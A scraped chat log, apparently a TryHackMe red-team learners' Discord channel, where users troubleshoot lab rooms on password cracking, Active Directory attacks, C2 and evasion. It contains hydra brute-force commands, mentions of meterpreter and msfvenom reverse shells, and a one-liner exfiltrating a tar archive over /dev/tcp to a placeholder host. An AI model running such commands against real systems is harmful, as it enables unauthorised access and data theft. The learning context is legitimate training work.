4. View the Cracked Password: Once John finishes, you can view the cracked password with:

john --show hash.txt
#

@mint palm

vast quest
dapper berry
vague mango
#

its because: Windows kekw

mint palm
mint palm
vast quest
mint palm
thin irisBOT
#

Gave +1 Rep to @vast quest (current: #1 - 3020)

mint palm
#

What does i'm missing at Password Attacks Online Attacks Task 8?
I created the dict.lst with the password in it. I already checked the answers of the question. But I cant get it by myself.
Thats the command i used and the output I get:
hydra -l pittman@clinic.thmredteam.com -P dict.lst smtp://10.10.74.210:465 -v
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-26 18:23:29
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 10500 login tries (l:1/p:10500), ~657 tries per task
[DATA] attacking smtp://10.10.74.210:465/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[WARNING] SMTP does not allow connecting:
[WARNING] SMTP does not allow connecting:
[WARNING] SMTP does not allow connecting:
[WARNING] SMTP does not allow connecting:
[WARNING] SMTP does not allow connecting:
[WARNING] SMTP does not allow connecting:
[WARNING] SMTP does not allow connecting:
[WARNING] SMTP does not allow connecting:
[VERBOSE] Disabled child 11 because of too many errors
[WARNING] SMTP does not allow connecting:
[WARNING] SMTP does not allow connecting:
[WARNING] SMTP does not allow connecting:
[WARNING] SMTP does not allow connecting:
[WARNING] SMTP does not allow connecting:
[WARNING] SMTP does not allow connecting:
[WARNING] SMTP does not allow connecting:
[WARNING] SMTP does not allow connecting:
[VERBOSE] Disabled child 0 because of too many errors
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-11-26 18:24:01

limber geyser
static root
mint palm
#

@limber geyser @static root Thanks for the help und sorry for wasting your time, because of a typo...

thin irisBOT
#

Gave +1 Rep to @limber geyser (current: #200 - 35)

radiant minnow
#

Hello

#

Is there a chat for the OpSec Room?

#

I am unsure how to solve the path without the numbers being displayed

vast quest
silent tulip
#

why hashcat dont work in the attackbox?

vast quest
#

Hashcat isn't great in a vm.

Use your host, or use john.

upper wigeon
#

Hello

#

Can I DM anyone about this pathway

#

Someone who has finished the evasion portion

spare depot
south citrus
#

Hi everyone, has anyone had experience with environments and boxes using Roaming Profiles?

smoky minnow
#

I'm currently going back through some areas of the red teaming path after having 100% it, redoing the AV Evasion: Shellcode room and I'm running into some weirdness with the checker.

I've been using my own code from the NTAPI, successfully receiving shell from the command prompt and successfully passing the AV checker with NtCreateThreadEx in both active and suspended states.

Even though the checker greenlights me I can't get it to dump flag at the same time. Is the THM checker looking for the exact syscalls described in the room? The lesson can't be looking for the exact port number seeing as I've used it twice now in msfvenom (LPORT=7474) without success.

grim tapir
#

This path is kinda weird. It has rooms that has pre-requisites of rooms and tools you haven't done in the path.

#

To do this room, please make sure you have done: X/Y/Z/A/B/C/D/E/F/G before as you will need to know about it to know how to perform these tasks

#

and then those rooms are like later in this path kekw

ripe condor
#

To be fair, it is at the bottom of the path

grim tapir
#

e.g Lateral Movement room (which is an early room in the red teaming path) wants you to have done breaching AD rooms (which is an late room in the red teaming path)

ripe condor
#

Ah I see what you're saying, mb. Early 🙂 Makes me think of the Charlie Day meme 😄

thorny blade
#

Task-8 : Windows Local Persistence: Red Team - web shell is not working for me

#

Persisting Through Existing Services : both the task confusing

flint harbor
#

Does the Lateral Movement and Pivoting room work for anybody? I am having trouble at Task 1 getting DNS to work its not resolving for some reason...

flint harbor
# vast quest Do you have the interface?

I have the latermovement interface and it shows that I am connected on THM. I have regenerated the server file a few times. I can ping the DC, but when I attempt to access http://distributor.za.tryhackme.com/creds DNS can't find the address. This does not work on the attack box or my kali VM. I was just curious if its me or someone else is experiencing the same thing.

modern shadow
#

Hello guys, got a question about weaponization room, I'm able to remotely access the target machine through metasploit but I can't seem to find the flag.txt tried also finding it manually in the win10 machine itself but there's nothing to be found

lavish axle
lavish axle
modern shadow
#

Sorry I'm off computer right now, will provide later when I get on, basically on the last task since it has the flag for it

lavish axle
modern shadow
thin irisBOT
#

Gave +1 Rep to @lavish axle (current: #3 - 2136)

modern shadow
modern shadow
modern shadow
thin irisBOT
#

Gave +1 Rep to @lavish axle (current: #3 - 2146)

modern shadow
#

Ohhh task 6 wait a minute, gut busted not doing it one by one lol, thought "it's just another way into it" doing it right now

modern shadow
#

Will update attackbox loading 😁

lavish axle
modern shadow
#

Done with act 6 still no traces of flag.txt

#

I saw on a YouTube video it should exist on the desktop as "flag.txt"

lavish axle
modern shadow
#

I'm also confused with my connection as you can see I can execute the reverse shell but ping and accessing the web application, times out, is it a factor that I'm using a company managed network?

lavish axle
modern shadow
#

Well the important thing is knowing kinds of attack we can do to a target 😁 thanks for the help! Moving on to the next room

lavish axle
modern shadow
#

Did finish the room looked out some tutorials online for the flag itself, tried other attacks myself especially on metasploit reverse shell since I'm most familiar with it.

lavish axle
tropic ginkgo
#

$ tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/<IP>/<PORT> nice obfuscation using EBCDIC 🤓

minor garnet
#

hi

#

any one here which has little bit knowledge about AWS

lavish axle
arctic stirrup
#

Still says I failed

vast quest
bold pivot
#

This has still not been fixed
It's from the Data Exfiltration room on this pathway

bold pivot
#

Amen

upper wigeon
#

Hello

#

Are all of the AD rooms connected

#

Are they are one single AD infrastructure?

silent tulip
#

hi can anyone help me every time i use my packed shellcode i get user thm but not av victim but i followed these provided setps

#

so i cant get the flag

tropic ginkgo
#

I have reset the network as well to see if this would resolve it. THMDC = 10.200.18.101 and there appears no route to ping the IP either. I will give the VPN a try next. 🤔

#

ah! this is not an uncommon issue for this room💡

tropic ginkgo
#

AttackBox /root/Desktop/NetworkConfigs/adenumeration.ovpn is a 0 byte file size. Downloading the VPN adenumeration network file is also a 0 byte file size.

#

Network state: Running

lavish axle
tropic ginkgo
#

ah ok, thanks

#

@lavish axle thanks! The Options > Leave and a re-join solved it. Right away I notice the subnet was different. The enumad network adapter exists on the AttackBox, and I can ping the THMDC now. Thanks so much. 🙂

thin irisBOT
#

Gave +1 Rep to @lavish axle (current: #1 - 3876)

limber forge
#

Hello everyone, I have a question about TryHackMe paths. Should I complete all the paths leading to the Red Teaming path before attempting challenges, or is it okay to start challenges while I'm still in the Cyber Security 101 path? (I don't have any prior knowledge in cybersecurity.)

lavish axle
limber forge
thin irisBOT
#

Gave +1 Rep to @lavish axle (current: #1 - 3984)

proven fjord
#

Hey guys, good morning ☕ , I am currenctly completing task5 of https://tryhackme.com/room/lateralmovementandpivoting . The tasks says : Both mimikatz and psexec64 are available at C:\tools on THMJMP2. however, i can't find mimikatz underneath that directory :

za\t2_felicia.dean@THMJMP2 C:\Users\t2_felicia.dean>dir c:\tools                                                                
 Volume in drive C has no label.                                                                                                
 Volume Serial Number is F4B0-FCB9                                                                                              

 Directory of c:\tools                                                                                                          

03/21/2025  02:57 PM    <DIR>          .                                                                                        
03/21/2025  02:57 PM    <DIR>          ..                                                                                       
06/14/2022  08:27 PM            45,272 nc64.exe                                                                                 
04/19/2022  09:17 PM         1,078,672 PsExec64.exe                                                                             
03/16/2022  05:19 PM           906,752 SharpHound.exe                                                                           
06/19/2022  05:38 AM    <DIR>          socat                                                                                    
               3 File(s)      2,030,696 bytes                                                                                   
               3 Dir(s)   9,290,481,664 bytes free                                                                              
fickle veldt
dim tulip
#

Hi everyone, I am in the Red Team Recon room and when I run task 6 I get this error message. How can i solve it? Thanks

[recon-ng][thmredteam] > modules load google_site_web
[recon-ng][thmredteam][google_site_web] > run

--------------
THMREDTEAM.COM
--------------
[*] Searching Google for: site:thmredteam.com
[!] Google CAPTCHA triggered. No bypass available.
smoky minnow
# silent tulip

It's been a while since I did that room but IIRC shouldn't av-victim be the user you're currently running as in the split screen, and not the user you're performing privesc to?

narrow elm
#

but i think thats only if you use your own kali
thats what i did and it worked great

mint palm
#

PLS UPDATE Room Lateral Movement and Pivoting
It takes so much time to do the Tasks because the infrastructure is not working!!

bright cliff
#

is there something broken with the CORS & SOP room? i cant complete the regex task and im following it to the T, all i had to change was one thing and the first abitrary task worked so...? am i doing it wrong?

#

wrong room my bad

royal quail
#

can anyone help me out with this problem on tryhackme password attacks room,

What is the crunch command to generate a list containing THM@% and output to a file named tryhackme.txt?
my answer is crunch 5 5 -t THM@%^^ -o tryhackme.txt
and im trying different answers for the -t argument and nothing seems to work

lavish axle
pallid pine
#

❓ I'm at "Insecure Permissions on Service Executable" of task 5 of Windows Privilege Escalation. The step where you copy the payload file over the service executable fails: The process cannot access the file because it is being used by another process. If I stop the service first it works of course. Also the command "icacls WService.exe /grant Everyone:F" fails with "C:\PROGRA~2\SYSTEM~1\WService.exe: Access is denied." Not sure I understand why this command is important as I can control the service the payload works anyway when I start the service. So, because of the 1st error am I correct to assume this exploit will not work if you don't have the privs to control the service?

lyric vine
#

@lavish axle bro, I want to ask if there is a topic about fishing. I have finished the topic of fishing in thm, but I think it is still too shallow.

#

I would like to learn something about the teaching of file bundling fishing.

lyric vine
#

Er.. What I want is teaching about file bundling fishing🤔 🤔

spare depot
fair hawk
dapper berry
unborn marten
#

Hey i'm doing the AD rooms, i've never worked on AD so this question might sound stupid but I don't understand what rights are needed for each commands. I feel like there is no admin right needed for things like enumeration as it's never really said in the rooms (or at least I didn't found it), but I find it crazy that any user can do Get-ADUser -Identity Administrator -Properties LastLogonDate,PwdLastSet

royal pumice
#

Good evening, sorry if someone can tell me what are the answers to these questions that are the only ones I have left and there is some problem because if I run Nmap with the script it does not give me the right result. Start the AttackBox if you have not already done so. After making sure you have killed the VM from Task 2, start the target machine for this task. On the AttackBox, run Nmap with the default scripts -sC on MACHINE_IP. You will notice that there is a service listening on port 53. What is its full version value?

According to its description, the ssh2-enum-algos script "reports the number of algorithms (for encryption, compression, etc.) offered by the target SSH2 server". What is the name of the server's host key algorithm that is based on SHA2-512 and is supported by MACHINE_IP?

Of the room: Jr Penetration Tester
Network Security
Nmap Post Port Scans

royal pumice
#

I solved the problem, it was in the machine where I was running nmap that was not working well.

lilac zinc
#

How to hack website because I find some but I don't understand how to do it

hoary hare
#

Hi everyone, I am preparing for OSEP that starts pretty soon, do you guys know if there are any rooms/networks/paths in THM (VIP is also fine) that can help me with my OSEP preparations?

#

If you're replying to the above text, please reference it while responding so that I get a notification or either please drop a text in my DMs, either approach will work just fine for me and will be much appreciated, thanks.

heavy pilot
#

Hello...this is my first time here and I'm aspiring to be a red teamer in the future, can anyone suggest and roadmap to start this journey?

thin irisBOT
#

Gave +1 Rep to @lavish axle (current: #1 - 5689)

south hollow
#

hey guys
Just finished learning basic x86_64 Intel Assembly (System V ABI).
Now I wanna dive into Reverse Engineering, mainly for CTFs.

What’s the best way to start?
Any good beginner resources / courses?
Need some roadmap or tips please .

ancient rivet
#

Any old heads in here?

royal void
ancient rivet
#

Shadow can I dm you?

royal void
ancient rivet
#

Ok thanks.
quick question what do you do when your browsing certain things for ethical purposes of course and you see this??

stoic marten
dark owl
#

@lavish axle How I can learn stealthly windows system exploitation techniques. Is there any resources?

lavish axle
shut igloo
#

Hello

#

Fellow red teamers

worthy grove
gentle rapids
#

Hi all. Red Team Threat Intel, Task 7. When answering the first question according to hint, it says "At least one of your answers is incorrect.". In addition, can someone tell me if the mapping fron the kill chain to mitre atta&ck is correct?. Because i believe that exploitation from the Lockheed Martin Cyber Kill Chain is must be mapped to persistence in the MITRE ATT&CK framework. Lastly, i think that mitre navigator for the APT 41 doesn't give the right answers. Any help??

lavish axle
stoic plinth
#

Hey all. I'm on the capstone challenge. I simply cannot capture any flags as i simply continue getting connection refused from the network. Am i missing smomething?

thin irisBOT
#

Gave +1 Rep to @stoic marten (current: #3086 - 1)

dry sierra
#

Hi, I’m doing the room ExploitingAD, Task 5.
I generated the Meterpreter payload (windows/x64/meterpreter_reverse_tcp and also tried the staged one), served it via Python HTTP, downloaded with certutil on THMSERVER1, and executed with powershell -ExecutionPolicy Bypass -File.
The payload runs (I see the PID printed), and my handler in Metasploit receives the connection attempt, but the Meterpreter session immediately closes or never fully opens.
I’ve confirmed my LHOST = 10.50.69.127 (VPN IP) and tested with multiple ports (80, 443, 4444, 9001). Same result.
Is there a known issue with the THMSERVER1 VM or firewalling in this task?

gentle rapids
#

Hi all. Red Team Intro to C2, Task 7. I don't understand which IP ADDRESS must enter in "set OverrideLHOST" when i'm trying to configure metasploit "msf6 exploit(multi/handler) >", in order to set up a redirector. I understand what is going on with the LHOST (my public IP ADDRESS) or for the lab will be 127.0.0.1, but will it be the same IP as LHOST??. Any clue??. Thanks.

gentle rapids
thin irisBOT
#

Gave +1 Rep to @lavish axle (current: #1 - 5863)

gentle rapids
#

Hi all. I' m currently in the Password Attacks room, Task 3, where it says "Apply what we discuss using cewl against https://clinic.thmredteam.com/ to parse all words and generate a wordlist with a minimum length of 8. Note that we will be using this wordlist later on with another task!", but the cewl command couldn't be found from linux, neither can install it. Any help??

hexed cosmos
#

why can't i send screenshot if need help

lavish axle
vestal mulchBOT
gentle rapids
# lavish axle How can't you install it ?

Hi. First of all, I want to thank you for your support. Now, in my case i tried to install cewl running the command: apt install cewl as root. But everytime i got errors. I'll try to upload a screenshot, if that helps.

thin irisBOT
#

Gave +1 Rep to @lavish axle (current: #1 - 5876)

gentle rapids
#

Hi all. Because i'm new here, can someone tell how to upload a screenshot?. Thanks in advance.. I also hane verified my account.

lavish axle
vestal mulchBOT
gentle rapids
lavish axle
gentle rapids
thin irisBOT
#

Gave +1 Rep to @lavish axle (current: #1 - 5877)

gentle rapids
lavish axle
gentle rapids
lavish axle
gentle rapids
thin irisBOT
#

Gave +1 Rep to @lavish axle (current: #1 - 5882)

gentle rapids
gentle rapids
#

Hi again. Room "Password Attacks", Task 8, where the second question tell me to generate a rule-based dictionary from the wordlist clinic.lst in the previous task. email: pittman@clinic.thmredteam.com against 10.10.2.109:465 (SMTPS). So i have done all the requested things, but when I use hydra to attack against the SMTPS i get a message that says "[ERROR] SMTP LOGIN AUTH, either this auth is disabled or server is not using auth: 454 4.7.0 Temporary authentication failure: C[ERROR] SMTP LOGIN AUTH, either this auth is disabled or server is not using auth: 454 4.7.0 Temporary authentication failure: Connection lost to authentication server". Worth noting that i tried the same from my machine and from the attack box using ssh.. Any help??

hexed cosmos
gentle rapids
lavish axle
gentle rapids
#

Hi all. The Lay of the Land room, Task3. Despite the fact that task 3 says for remote connection to windows target machine, in fact there isn't an attack box to use xfreerdp. Trying to connect over openvpn, I got stuck because of the presence of kerberos. Can someone help me how to connect remotely to the windows target machine. I don't know how to configure krb5.conf file in order to bypass kerberos authentication process (I have username and password, IP Address, but not a domain name of the target machine, if there is any. Any hint please??

gentle rapids
#

I see that the last message came from me. So, here is another one.....Hi all. Exploiting Active Directory room task 7. I'm getting an error three days now while using Rubeous. I have followed the instructions to the point "My initial account (creds from task1) is part of the IT group. It has RDP privilege to THMSERVER2 and at the account properties in Active Directory Users and Computers (ADUC), I granted it permissions to sha256 encryption". But when I export a certificate , editing the encryption aes256 and using Rebeus to request a Kerberos ticket-granting ticket (TGT) I'm getting an error "KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP. Any help??. It's the third day I'm trying to pass this task.

undone olive
#

I did the same thing but i guess the wordlist generated is too big and taking too much time

drifting tapir
#

is this free?

lavish axle
wind wind
#

Hi I am currently working on ICMP exfiltration in the data exfiltration room. I tried to exfiltrate the data through MSF's icmp_exfil module to my kali VM that is connected to the VPN and It doesn't work, no error, just the warning below. Does anyone has any suggestion?
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/packetfu-2.0.0/lib/packetfu/capture.rb:63: warning: undefining the allocator of T_DATA class PCAPRUB::Pcap

ancient rivet
#

Anyone have an idea on how to change serial for Nvme m.2?

lavish axle
ripe ocean
#

.

gentle rapids
# wind wind Hi I am currently working on ICMP exfiltration in the data exfiltration room. I ...

Hi. I'm facing the same issue several days now. I asked echo for this warning and said that is not an issue and that metasploit should be able to receive the npings command from icmp-host. Furthermore I used wireshark and tcpdump and i received the incoming packets. On wireshark I was able to see the data (admin and password). In the task examples we see that one packet was sent nad two packets are being received. On our kali we see that one packet is sent and one is received. I think that is the difference between attackbox and tryhackme metasploit and our kali's metasploit. I'm still trying to fix this. If someone can help, KGB maybe??

gentle rapids
hollow olive
#

guys, i wanna learn writing python script for automation like submit request and fetch the sessionId and stuff. I want to write this script for solving Hammer room. Do you have any advice or recommend resource?
Can you guys suggest me some famous libs like request or something that i can research more?
Thanks very much for your help!!!

rose cipher
#

Hi
I have having issue while executing hascat on the lab machine Red Teaming>>
Initial Access>>Password Attacks task 5, how to resolve this

#

can any one help me on this

#

i get this when executing hashacat

This OpenCL driver has been marked as likely to fail kernel compilation or to produce false negatives.
You can use --force to override this, but do not report related errors.

cosmic sandal
spare depot
#

Maybe try asking in #subscriber .. reading is essential so it can't be helped. 😅

ancient rivet
#

Can someone tell me if I have the best gmail account please?

south pasture
#

I'm in the Intro to C2 room, and am trying to connect to Metasploit through Armitage, but keep running into the "Connection refused" error. Any idea how to fix it, pls?

cosmic sandal
south pasture
clever flicker
#

when trying to run msconfig as joe, it gives me uac prompt
so then I runas as mark who is part of the local admin group
I run msconfig via cli as mark and it works
ok so it means my shell is now elevated when I run as mark, right? bc now I can run msconfig

#

so why does it not let me move to the admin user folder?

#

I have to use msconfig > tools > select command > cmd.exe > launch
it pops up a new cmd shell
now I can cd to the admin folder

#

I'm trying to add images to add context but it's not letting me

violet pawn
#

how to run DeimosC2 linux????

paulchikkkk@75a01e DeimosC2_linux % ls
agents go.mod lib
archives go.sum modules
DeimosC2 gopath requirements.txt
droppers goroot resources
paulchikkkk@75a01e DeimosC2_linux % ./DeimosC2
zsh: exec format error: ./DeimosC2
paulchikkkk@75a01e DeimosC2_linux % sudo DeimosC2
Password:
sudo: DeimosC2: command not found
paulchikkkk@75a01e DeimosC2_linux %

spare depot
vestal mulchBOT
minor garnet
#

Hay gays

buoyant narwhal
#

Is the Attackbox not prepared to run 'cewl' commands? I am doing the Password attack room and have lost already 30 minutes trying to install all kind of Ruby gems lol

gusty axle
#

Evil-winrm takes much time to download files is there another better alternative please?

worthy grove
#

why you do this to us thm

#

you mean to tell me the answer is the opposite? I don't get it

vocal creek
#

@worthy grove Sorry mate, I think the magic bytes are actually 4D 5A (MZ).
Those are the first two bytes at offset 0x00 in every PE file.
Sometimes THM is a bit picky with the format like whether they want spaces, lowercase, or no prefix.
So the value is correct, it just depends on how they want us to type it.

worthy grove
thin irisBOT
#

Gave +1 Rep to @vocal creek (current: #3258 - 1)

cerulean escarp
#

..................................................................................................................................

#

+++++++++++++++++++++++++++++.-

flat quest
#

hello guys if any one have try hack me coupon pls dm me

acoustic quail
#

Hey guys
Gud day

#

Pls am looking for a cyber security mentor,am in need of someone to work with,help while growing myself

rare nacelle
#

My RDP disconnects as soon as I login, if anyone logins will it forcefully disconnect me?

summer plinth
rare nacelle
#

Aight I'll give it a shot, hope it works!

worthy grove
#

guys it's been a pleasure !

#

heading to my next adventure

river lagoon
#

really proud of your progress

#

keep it up and enjoy your next adventure (:

worthy grove
#

@river lagoon Thank you!

thin irisBOT
#

Gave +1 Rep to @river lagoon (current: #3360 - 1)

icy rose
#

Hello everyone! Took the quiz on the site and looks like I got red team.

river lagoon
#

wish you all the best

icy rose
thin irisBOT
#

Gave +1 Rep to @river lagoon (current: #2189 - 2)

gusty axle
#

Is the AD server down?

#

Keeps showing me 500 code error

gusty axle
# worthy grove

Trust Will will barely come out alive in this one 😂😂

acoustic quail
#

Xup guys

#

I just came in contact with a crypto projects hosting a hackathon where prize is $100,000
Isn't this exciting

gusty axle
#

Anyways are thm servers down?

#

I’m gettin error

#

In red team lateral movement room

acoustic quail
acoustic quail
gusty axle
rocky matrix
#

Can anyone tell me which lab i should consider. I want to get in the red team

#

As a beginner*

south terrace
#

Hello I have a question after completing the intro on tryhackme do I have to pay to progress further I'm a newbie so...

prime meadow
#

@south terrace yes but its worth every penny

#

@rocky matrix if you just started as a beginner on the tryhackme you should consider the "pre-security" and "cyber security 101" then you can choose the JR Penetration path to work as JR pentesting and red teaming

#

remember for red teaming you will have to work hard (Even I'm doing the red teaming and I'm on the cyber security 101).

south terrace
south terrace
heavy scaffold
#

some services extort u but tryhackme has such a fair price icl

vital ivy
#

Hi

prime meadow
#

@south terrace yes

#

@heavy scaffold yeah it is

south terrace
prime meadow
#

Hii

vital ivy
#

Hi

wispy root
#

im doing Breaching Active Directoryim not able to ping the THMDC im using the attack box

thorny kayak
#

Same here

prime meadow
#

@wispy root it dosen't work try to restart the VM or just use google

barren vine
#

Anyone encounter trouble accessing the websites that are part of the labs in Advanced SQL Injection?

wouldn’t work yesterday gave it some time, tried today no dice.
Also tried connect vs VPN.. I normally use Attackbox but just trying stuff at this point

#

I pay for the premium access so it’s annoying to continually run into connectivity issues with THM

#

Ran most test with added to /etc/hosts and without

coral marten
#

Can someone explain why this command is failing on the TakeOver challenge:

ffuf -w wordlist.txt -u https://$rhosts/ -H "Host: FUZZ.futurevera.thm" -fs 4605 -t 100

    /'\  /'\           /'\
   /\ _/ /\ __/      /\ __/
   \ \ ,\ \ ,/\ /\ \ \ \ ,\
    \ \ _/ \ \ _/\ \ _\ \ \ \ _/
     \ _\   \ _\  \ _/  \ _\
      //    //   //    /_/

   v2.1.0-dev

__

:: Method : GET
:: URL : https:///
:: Wordlist : FUZZ: /home/kali/wordlist.txt
:: Header : Host: FUZZ.futurevera.thm
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 4605
__

:: Progress: [37125/37125] :: Job [1/1] :: 38461 req/sec :: Duration: [0:00:01] :: Errors: 37125 ::

lavish axle
coral marten
#

as far as I know I did

coral marten
#

may I paste the /etc/hosts file here or is that a spoiler ??

coral marten
#

here it is:

127.0.0.1    localhost
127.0.1.1    kali
10.82.146.133   futurevera.thm portal.futurevera.thm payroll.futurevera.thm blog.futurevera.thm support.futurevera.thm secrethelpdesk934752.support.futurevera.thm
::1        localhost ip6-localhost ip6-loopback
ff02::1        ip6-allnodes
ff02::2        ip6-allrouters
pallid pine
#

@coral marten You did not set $rhosts as is clear from the URL in the output of ffuf: :: URL : https:///

coral marten
#

oke

#

I m sure I did that

#

but I will try again

#

but it will be tomorrow or so
it is not late

rotund solar
#

I'm new to this path and I want to become strong in it. What do the path experts advise me to do?

spare depot
coral marten
#

yep

spare depot
# coral marten yep

Have you enabled the flag where it will ignore the check for certificate validity or something along those lines?

coral marten
#

Enable what flag?

spare depot
# coral marten Enable what flag?

Did your command have the -k flag? As the certiticate for the room is self-signed or doesn't have a valid CA, if I remember correctly

coral marten
#

no, I did this command:

ffuf -w wordlist.txt -u https://$rhosts/ -H "Host: FUZZ.futurevera.thm" -fs 4605 -t 100
coral marten
#

and I see something wierd

┌──(kali㉿kali)-[~]
└─$ export RHOSTS=10.81.142.180
                                                                             
┌──(kali㉿kali)-[~]
└─$ echo $RHOST                

#

Why when i do echo the variable is empty

coral marten
#

still wierd

#

I try this:

ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://futurevera.thm/ -H "Host: FUZZ.futurevera.thm" -fw 1 -t 100

ffuf -w wordlist.txt -u https://$RHOSTS/ -H "Host: FUZZ.futurevera.thm" -fs 4605 -t 100
#

the first one works and give me two subdomains

#

Second one does not work

#

@spare depot any idea why the first one works and the second not

spare depot
spare depot
coral marten
#

so no $ before it ??

spare depot
spare depot
coral marten
#

yes

coral marten
#

i think it has to do something with the RHOST variable

spare depot
#

It could be on the web server configuration

coral marten
#

I assumed that was the website which has to be cracked

spare depot
#

In the case of web servers hosting multiple sites, if you just give it the IP address, the web server wouldn't know which web site you are trying to access / request.

coral marten
spare depot
coral marten
#

maybe I have to do the pentester course before I try this one against

spare depot
coral marten
#

Then nothing happens when I do:

ffuf -w wordlist.txt -u https://futurevera.thm -H "Host: FUZZ.futurevera.thm" -fs 4605 -t 100 -k 
#

and now the other command is also not working

#

I try again after lunch

pallid pine
# coral marten Then nothing happens when I do: ``` ffuf -w wordlist.txt -u https://futurevera...

In an HTTPS scenario you should specify the IP address of the target server in the -u option instead of the host/domain name. The reason is that, when using ffuf with HTTPS, the TLS client will use the value in the -u option to fill in the Server Name Indication (SNI) extension in its Client Hello. It does this to allow the server to select the correct vhost certificate. However, this will fail as the server has no vhost for futurevera.thm. So, you should change your ffuf command to

ffuf -w wordlist.txt -u https://a.b.c.d -H "Host: FUZZ.futurevera.thm" -fs 4605 -t 100 -k

with a.b.c.d being the ip address of the server.

This will also work because here you specifically set the SNI to the IP address which causes the SNI to be omitted in the Client Hello

ffuf -w wordlist.txt -u https://futurevera.thm -H "Host: FUZZ.futurevera.thm" -fs 4605 -t 100 -k -sni a.b.c.d

It seems gobuster handles this better as this just works in gobuster:

gobuster vhost -k -u https://futurevera.thm -w ~/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --domain futurevera.thm --append-domain

Btw, -k option only disables client-side cert check. It does not prevent cert selection to fail server-side because of wrong SNI.

coral marten
#

with hackerbox how can I install things like cewl
I know get this message:

Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?
coral marten
#

@pallid pine no luck in kali vm
first one gives me:

:: Errors: 8626 ::
#

Second one works

pallid pine
#

So, ffuf with -sni option works?

#

What's the output of this command?

getent hosts futurevera.thm
coral marten
#

yep and go buster also

#
10.81.133.176   futurevera.thm portal.futurevera.thm payroll.futurevera.thm blog.futurevera.thm support.futurevera.thm secrethelpdesk934752.support.futurevera.thm
pallid pine
#

Indeed, if I add all those subdomains instead of only the main domain it fails for me too.

#

Gobuster and ffuf seem to handle name resolution differently, but I haven't wrapped my head around the exact difference yet. It seems gobuster does a single name resolution of only the main domain while ffuf seems to try to resoved fuzzed domains.

coral marten
#

here if I delete all the subdomains it still fails on the first one

#

and then the second fails also

#

go buster still works

#

so lessons to take , use gobuster

#

@pallid pine thanks for all the help

thin irisBOT
#

Gave +1 Rep to @pallid pine (current: #1352 - 4)

coral marten
#

also with my own wordlist gobuster still works and give the expected output

pallid pine
#

Yes, I like gobuster more. Also the error reporting is better. If the host is down, fuff will just sit there trying in vain wihtout showing a clear error while gobuster will clearly report a timeout

#

Anyway, gtg. Have fun 👋

coral marten
#

Thanks

#

here time to sleep

fluid ore
#

Hi I’m trying the Hammer challenger and I have problem brute force the pin for the reset password, fuzz takes takes to long and it times out. I’m using a file with 9999 number, should I use a smaller batch of number or is there any ideas to solve first task?🤔

slow frigate
#

having an issue with an answer for a question

#

Task 07: Creating a Threat Intel Driven Campaign

knotty shell
#

how start bug bounty

tropic ginkgo
#

guys , im on CTF school championship and i need someone to lead me up to a web exploitation cuz i don't know anything about it and i saw it like its very hard to exploit or injecting it . btw im working in picoCTF , is that website worth it only for my school ?

spare depot
hallow scroll
#

Hi

hardy meteor
#

Hii

dreamy siren
#

Hi there! I am currently learning about AD Penetration testing more specifically about Kerberoastable accounts, SNPs, PowerView and so on. I wanted to ask if there are any good rooms here for CTFs, where I can practice those specific skills? Could anyone recommend any? Thanks in advance!

paper abyss
#

Hi guys, this is my first time solving a problem on try hack me and I'm already stuck on a basic pentesting task.As I understand it, first you need to scan the ports, I did everything as from the video. 1 what did the person in the video do, he pinged the iPad, it seemed like a delay, but 100 percent packet loss is writing to me. I decide to scan the ports via nmap -Pn -sT and nmap -Pn -sU, but it says that all ports are filtered. Maybe I don't understand something, maybe it's some kind of technical problem, but I really ask for someone's help.🙏

https://tryhackme.com/room/basicpentestingjt

pallid pine
pallid pine
paper abyss
pallid pine
paper abyss
paper abyss
#

Hey, I'm having issues connecting to the THM VPN. The troubleshooting script (thm-troubleshoot) stops with an error about MTU.

What I see when I run it:

text
[+] Stable internet connection
[+] OpenVPN is installed
[+] tun0 exists
[+] tun0 IP is in the correct range
[+] Only one instance of OpenVPN is running
[+] Confirming connectivity
MTU value failed at 1000, aborting MTU check
Something went wrong -- please ask for further assistance...
I'm on Kali Linux. My internet is fine, the VPN connects (I get a tun0 interface with an IP like 10.10.x.x), but something with the MTU check fails. Can you help?

marble pecan
#

no one is there i assume

#

It's alr

minor isle
#

Yo

marble pecan
minor isle
#

Wassup

proper stump
#

hel..l...o

#

I am new to discord so please help me out

minor isle
#

Hello everyone well this is just something I want to to do actually soo basically I want to have a group of both newbies and experienced people in th world of cybersecurity mainly red teaming and penetration testing so we can all learn together and build ourselves. I know some might have some contradictory opinions but it's just what I think works. Soo anyone interested?.

prime meadow
#

@xul Hii which room are you on ?

#

i mainly want to do red teaming and penteration testing but before i want to work as a SOC Analyst to gain experience

royal summit
#

Is it just me or none of the network rooms for AD on THM work?

prime meadow
#

try restarting

#

if the issue is still there then try again after sometime

indigo adder
#

Heyy guys today i got the Advent of Cyber rewards and i have got 75$ voucher but i am not able to utilize it cause i already have the premium so if anyone wants it .
Dm me .

lost void
#

Interested in learning this career path. I am definitely at the beginner stage but I am focused and willing to learn!

prime meadow
#

@marble pecan can i join?

wraith haven
#

Whar are the best rooms to start learning the red team?

prime meadow
#

have you completed basic?

#

if yes then go to skill matrices and click on red teaming you'll see the room that are required to do red teaming

unique stump
#

Can anyone help me to perform some action on a website , I have the vulnerability but don't know how to exploit

spare depot
fallow anchor
#

hello i am newbie and looking forward to join the CTF or Bug bounty team as a beginner to learn from senior and to make friend in same profession , anyone please DM me if you are in any team willing to take me in 🙂

potent lynx
#

s

steel wave
#

Youre newbie
On The top
Take anaalogy
Well rivers and anything dont come to

#

